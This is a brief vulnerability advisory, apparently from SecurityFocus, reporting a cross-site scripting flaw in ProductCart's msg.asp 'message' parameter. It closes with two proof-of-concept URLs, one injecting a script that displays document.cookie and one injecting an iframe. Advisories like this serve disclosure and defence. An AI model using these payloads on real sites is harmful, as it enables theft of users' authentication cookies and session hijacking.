source: https://www.securityfocus.com/bid/8108/info A cross-site scripting vulnerability has been reported for ProductCart. The vulnerability exists due to insufficient sanitization of some user-supplied values. Exploitation could permit an attacker to steal cookie-based authentication credentials or launch other attacks. http://www.website.com/ProductCart/pc/msg.asp?message=><script>alert (document.cookie);</script> http://www.website.com/ProductCart/pc/msg.asp?message=<iframe%20src="C:\"% 20width=400%20height=400></iframe>